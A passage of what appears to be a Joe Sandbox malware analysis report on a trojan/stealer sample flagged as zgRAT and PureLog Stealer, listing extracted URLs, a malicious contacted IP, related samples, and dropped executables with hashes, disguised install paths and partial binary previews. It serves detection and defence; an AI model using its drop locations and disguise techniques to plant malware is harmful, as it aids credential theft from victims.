                                                                          https://ac.ecosia.org/autocomplete?q=dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                                            		high
                                                                            http://www.fontbureau.com/designers/cabarga.htmlNdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.founder.com.cn/cn/cThedllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://www.galapagosdesign.com/staff/dennis.htmdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.founder.com.cn/cndllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://www.fontbureau.com/designers/frere-user.htmldllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Installdllhost.exe, 00000005.00000002.4116814667.00000000144E5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014744000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001396F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001449F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138E3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139B5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013785000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014789000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001389D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014815000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147CF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139FB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001462A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146FC000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013811000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013929000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001459E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145E4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchdllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                                                          		high
                                                                                          http://www.jiyu-kobo.co.jp/dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://www.galapagosdesign.com/DPleasedllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://www.fontbureau.com/designers8dllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://www.fonts.comdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://www.sandoll.co.krdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://support.mozilla.orgRyroOfX8Xr.5.drfalse
                                                                                                      		high
                                                                                                      http://www.urwpp.deDPleasedllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examplesdllhost.exe, 00000005.00000002.4116814667.00000000144E5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014744000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001396F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001449F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138E3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139B5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013785000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014789000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001389D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014815000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147CF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139FB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001462A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146FC000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013811000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013929000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001459E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145E4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://www.zhongyicts.com.cndllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameeu6OEBpBCI.exe, 00000000.00000002.1686320496.00000000032E7000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4103094451.0000000002EEB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://www.sakkal.comdllhost.exe, 00000005.00000002.4155323854.000000001F732000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drfalse
                                                                                                                  		high

                                                                                                                  World Map of Contacted IPs

                                                                                                                  • No. of IPs < 25%
                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                  • 75% < No. of IPs

                                                                                                                  Public IPs

                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                  91.227.41.9
                                                                                                                  		unknownPoland
                                                                                                                  		57367ECO-ATMAN-PLECO-ATMAN-PLtrue

                                                                                                                  General Information

                                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                                  Analysis ID:1571109
                                                                                                                  Start date and time:2024-12-09 00:26:05 +01:00
                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                  Overall analysis duration:0h 9m 29s
                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                  Report type:full
                                                                                                                  Cookbook file name:default.jbs
                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                  Number of analysed new started processes analysed:11
                                                                                                                  Number of new started drivers analysed:0
                                                                                                                  Number of existing processes analysed:0
                                                                                                                  Number of existing drivers analysed:0
                                                                                                                  Number of injected processes analysed:0
                                                                                                                  Technologies:
                                                                                                                  • HCA enabled
                                                                                                                  • EGA enabled
                                                                                                                  • AMSI enabled
                                                                                                                  Analysis Mode:default
                                                                                                                  Analysis stop reason:Timeout
                                                                                                                  Sample name:eu6OEBpBCI.exe
                                                                                                                  renamed because original name is a hash value
                                                                                                                  Original Sample Name:17d1a3b2d87457f2492926349fae2417.exe
                                                                                                                  Detection:MAL
                                                                                                                  Classification:mal100.troj.spyw.evad.winEXE@10/346@0/1
                                                                                                                  EGA Information:
                                                                                                                  • Successful, ratio: 100%
                                                                                                                  HCA Information:Failed
                                                                                                                  Cookbook Comments:
                                                                                                                  • Found application associated with file extension: .exe
                                                                                                                  • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                  Warnings

                                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                  • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                  • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                  • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                  • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                  • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                  • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                  • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                  • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                  • VT rate limit hit for: eu6OEBpBCI.exe

                                                                                                                  Simulations

                                                                                                                  Behavior and APIs

                                                                                                                  TimeTypeDescription
                                                                                                                  18:27:12API Interceptor11237215x Sleep call for process: dllhost.exe modified

                                                                                                                  Joe Sandbox View / Context

                                                                                                                  IPs

                                                                                                                  ⊘No context

                                                                                                                  Domains

                                                                                                                  ⊘No context

                                                                                                                  ASNs

                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  ECO-ATMAN-PLECO-ATMAN-PLHBL BLJ2T2411809005 & DAJKT2411000812.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                  • 213.189.52.181
                                                                                                                  Amalgamers.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                  • 185.36.171.17
                                                                                                                  Statement JULY #U007e SEP 2024 USD 19,055.00.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                  • 213.189.52.181
                                                                                                                  9zldYT23H2.elfGet hashmaliciousMirai, GafgytBrowse
                                                                                                                  • 31.186.82.2
                                                                                                                  RicevutaPagamento_115538206.datGet hashmaliciousUnknownBrowse
                                                                                                                  • 128.204.223.111
                                                                                                                  http://bdvenlineabanven.serv00.net/Get hashmaliciousUnknownBrowse
                                                                                                                  • 85.194.246.69
                                                                                                                  http://entrabdvline.serv00.net/Get hashmaliciousUnknownBrowse
                                                                                                                  • 85.194.246.69
                                                                                                                  http://entrabdvline.serv00.net/Get hashmaliciousUnknownBrowse
                                                                                                                  • 85.194.246.69
                                                                                                                  http://ahksoch.serv00.net/x92gamy6wh/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                  • 128.204.218.63
                                                                                                                  http://intesa-it.serv00.net/it/conto/Get hashmaliciousUnknownBrowse
                                                                                                                  • 85.194.246.69

                                                                                                                  JA3 Fingerprints

                                                                                                                  ⊘No context

                                                                                                                  Dropped Files

                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  C:\Users\user\Desktop\AHMSLlxy.logIYXE4Uz61k.exeGet hashmaliciousDCRat, PureLog Stealer, Xmrig, zgRATBrowse
                                                                                                                    gorkmTnChA.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                      A5EbyKyjhV.exeGet hashmaliciousDCRatBrowse
                                                                                                                        lfcdgbuksf.exeGet hashmaliciousDCRatBrowse
                                                                                                                          qNdO4D18CF.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                            iN1fhAtzW2.exeGet hashmaliciousDCRatBrowse
                                                                                                                              based.exeGet hashmaliciousDCRat, PureLog Stealer, Xmrig, zgRATBrowse
                                                                                                                                KPFv8ATDx0.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                  LzmJLVB41K.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                                                                    main.exeGet hashmaliciousDCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRATBrowse

                                                                                                                                      Created / dropped Files

                                                                                                                                      C:\Program Files (x86)\MSECache\OfficeKMS\win8\74cb7468389f91

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):11
                                                                                                                                      Entropy (8bit):3.0957952550009344
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:+IB:+IB
                                                                                                                                      MD5:04A4667B1C0C84572179880839B074E9
                                                                                                                                      SHA1:0571203766DF424A21366B6962E9E898AEE8DEB1
                                                                                                                                      SHA-256:6CFBAE6AA91D1F177D8CF98CB4664805D3B08DBD8633B71F464BC419FD9A0FBE
                                                                                                                                      SHA-512:8D4D3A0381E77663D4A1FAC06243412F78868CB85A61A76AD75FA86CF7FF91BD6D8CAFA9BCA1D8B7E460432D3E64505EEA995ADA166CD7CFE3D2DAD64CC5365A
                                                                                                                                      Malicious:false
                                                                                                                                      Reputation:low
                                                                                                                                      Preview:0VKNNT3jT2d

                                                                                                                                      C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):3682816
                                                                                                                                      Entropy (8bit):7.823106714932208
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:98304:7hgFoJyp5aYSww8ceHQSIgLmJrvpFn4liKJMWSxur:76FoJyraUj4bn4059xu
                                                                                                                                      MD5:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      SHA1:5FFDB9A82FAF2FC9DDA683DC026E10376BC5A7BC
                                                                                                                                      SHA-256:A15DEBB35819618DDE10ABC793552E6ADDF91BAF38D2025C274D84FDCEDB97FA
                                                                                                                                      SHA-512:0F76D1C698295E6B2D1EA94A8FED8388754A4AAAF25ED0E25CC7EF9EEEA91F0BD8DA3240843ACF2CCE15D7896D2B9C5859637D19C8B3AD24DB11308274101775
                                                                                                                                      Malicious:true
                                                                                                                                      Yara Hits:
                                                                                                                                      • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe, Author: Joe Security
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 74%
                                                                                                                                      Reputation:low
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................*8..........H8.. ...`8...@.. ........................8...........@..................................H8.K....`8.p.....................8...................................................... ............... ..H............text....(8.. ...*8................. ..`.rsrc...p....`8......,8.............@....reloc........8......08.............@..B.................H8.....H...........l.......o...\....d-..H8......................................0..........(.... ........8........E........\...)...M...8....(.... ....~q...{}...:....& ....8....(.... ....~q...{....:....& ....8....(.... ....8....*....0.......... ........8........E....V...z...................8Q......... ....8........~....(S...~....(W... ....?.... ....~q...{....:....& ....8....8.... ....~q...{....9t...& ....8i...~....9.... ....~q...{....:K...& ....8@...~....(K... .... .... ....s....~...

                                                                                                                                      C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exe:Zone.Identifier

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):26
                                                                                                                                      Entropy (8bit):3.95006375643621
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                      Malicious:true
                                                                                                                                      Reputation:high, very likely benign file
                                                                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                      C:\Program Files\7-Zip\Lang\74cb7468389f91

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with very long lines (825), with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):825
                                                                                                                                      Entropy (8bit):5.905246925008165
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:24:4VY0crLqT5oqVHTQozNnI6OkAJL6375WtU9:f0q6HUUnI6Okw63dWtU9
                                                                                                                                      MD5:8BE9EE5890731A4DC80E0A3F028001CE
                                                                                                                                      SHA1:5E426EDC7BB7F2C0FFF25A46ABE1102201F7D8D2
                                                                                                                                      SHA-256:00C807D08D8E463056EB9295A8733F63FBB67594FDC9495459F15C37DE600240
                                                                                                                                      SHA-512:8436562C99F4683E7D9EAB1496075F9A3010A8F880150E622F80BBBC8EF3E823DC2CD6AEA78C909C0A2329393A0691435D00D65EAAEB3BF0F09EB14CDDC28898
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:RfR3XroPngIpqlge6LQdBLrQXQpAVx3T00Mkg50GMH95NPggeqp0sbxFyBgGCn4zmzz0Z68AUJQ3MwCItIgoICkZCGwfZtEiNJSYZqHisogiK32B8YW3HPrkOaxSJcllEsqDdosCA85dgBOJNugAWKb7bsK93zYPC4ebNziUpT2IUODMLoEZ6lP3RtmvesJLkpblhw6YMLUCSSmNo7yPv8TbpkKdMw07KriowboYrpNvQMl8GZGg43alWA67mcLZUX1ku7aNSahFvhKc8MXxqUCQR6SwfrwPdya2UBOI83NeWU0yzd9ZEYsAUkTxpnsloRm7HSH68PyxGi47Ge7BrWLFFZhusbcULmzEs3rhVCbyj54wpWqLqq3RGh1ruXOhwdles0ONxapp5WfJfvEWuRoesi7LB9w8x4BFTZDzHdYQBOWuBrM8T2wfzHwK3DLxnr1BUZ0FsPOR3XdeMNJTxxo5HgQMn25ERknTWVZm1GQEnfmcnR8q31AzC63yJnbzTK9StJI0yhcqhkRl4xjV4PKZjxRZbkdOoaudgTseJH2WZTSbpS4VEG5DAks61sZNDOCGzxFkEFLxXx9QfztJqHKifqc5kwmbroSLRMm1MTR84IqNkcbC9Qg6DekIVJAScuFsey9SN16W0LoXAPVHVkbbHWHxldgCT8gJC7svdIyHTKG20MIFy272SnlIrMquU4C1peUDhjoMvUI7QO6ZVbObAn0ZWkERbEwYHONV1EiPNuG8en1cPRY3ql0Bo5q6eWvrhtzBAlhQ38NQg14ssmCJp3sfXLr6Ylu09Zbux0bnuIArXkfwA7O1U

                                                                                                                                      C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):3682816
                                                                                                                                      Entropy (8bit):7.823106714932208
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:98304:7hgFoJyp5aYSww8ceHQSIgLmJrvpFn4liKJMWSxur:76FoJyraUj4bn4059xu
                                                                                                                                      MD5:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      SHA1:5FFDB9A82FAF2FC9DDA683DC026E10376BC5A7BC
                                                                                                                                      SHA-256:A15DEBB35819618DDE10ABC793552E6ADDF91BAF38D2025C274D84FDCEDB97FA
                                                                                                                                      SHA-512:0F76D1C698295E6B2D1EA94A8FED8388754A4AAAF25ED0E25CC7EF9EEEA91F0BD8DA3240843ACF2CCE15D7896D2B9C5859637D19C8B3AD24DB11308274101775
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 74%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................*8..........H8.. ...`8...@.. ........................8...........@..................................H8.K....`8.p.....................8...................................................... ............... ..H............text....(8.. ...*8................. ..`.rsrc...p....`8......,8.............@....reloc........8......08.............@..B.................H8.....H...........l.......o...\....d-..H8......................................0..........(.... ........8........E........\...)...M...8....(.... ....~q...{}...:....& ....8....(.... ....~q...{....:....& ....8....(.... ....8....*....0.......... ........8........E....V...z...................8Q......... ....8........~....(S...~....(W... ....?.... ....~q...{....:....& ....8....8.... ....~q...{....9t...& ....8i...~....9.... ....~q...{....:K...& ....8@...~....(K... .... .... ....s....~...

                                                                                                                                      C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exe:Zone.Identifier

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):26
                                                                                                                                      Entropy (8bit):3.95006375643621
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
